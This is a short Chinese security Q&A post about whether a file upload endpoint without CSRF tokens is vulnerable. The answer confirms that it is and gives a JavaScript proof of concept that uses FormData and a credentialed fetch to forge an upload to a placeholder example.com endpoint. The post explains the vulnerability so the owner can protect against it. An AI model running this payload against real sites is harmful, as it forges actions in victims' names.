是否可以对文件上传功能执行 CSRF 攻击？我的应用程序通过发送 multipart/form-data POST 请求来上传文件，而无需任何随机令牌。是否可以准备一个 HTML 表单来演示对应用程序的这种攻击？
CSRF 攻击文件上传功能
信息安全
Web应用程序
csrf
上传文件
2021-09-05 08:25:37
1个回答
是的，你很脆弱。每个修改服务器状态的端点都需要有针对 CSRF 攻击的保护。不排除文件上传。
那么如何利用它呢？如果您的网站是example.com攻击者在一个网站上托管一些类似这样的 JS，她会欺骗受害者访问：
myFormData = new FormData();
myFormData.append("file", fileContent, "filename.txt");
fetch("http://example.com/fileupload.php", {
method: "post",
body: myFormData,
credentials: "include"
});
这将使受害者浏览器向您的站点发送 POST 请求，攻击者选择作为fileContent文件的任何内容。